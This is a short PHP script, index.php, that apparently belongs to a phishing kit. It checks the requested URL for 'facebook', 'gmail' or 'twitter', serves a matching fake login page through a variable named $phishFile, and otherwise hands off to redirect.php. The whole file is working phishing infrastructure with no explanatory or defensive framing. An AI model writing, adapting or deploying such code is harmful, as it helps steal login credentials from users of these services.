index.php - Original URL

<?php

$ref = "http://".$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI'];
$skipInclude = 0;

if (strpos($ref, "facebook"))   { $phishFile = "facebook.htm";
} elseif (strpos($ref, "gmail"))    { $phishFile = "gmail.htm";
} elseif (strpos($ref, "twitter")) { $phishFile = "twitter.htm";
} else { require('redirect.php');
$skipInclude = 1;
}

if ($skipInclude == 0) {
include($phishFile);
}

?>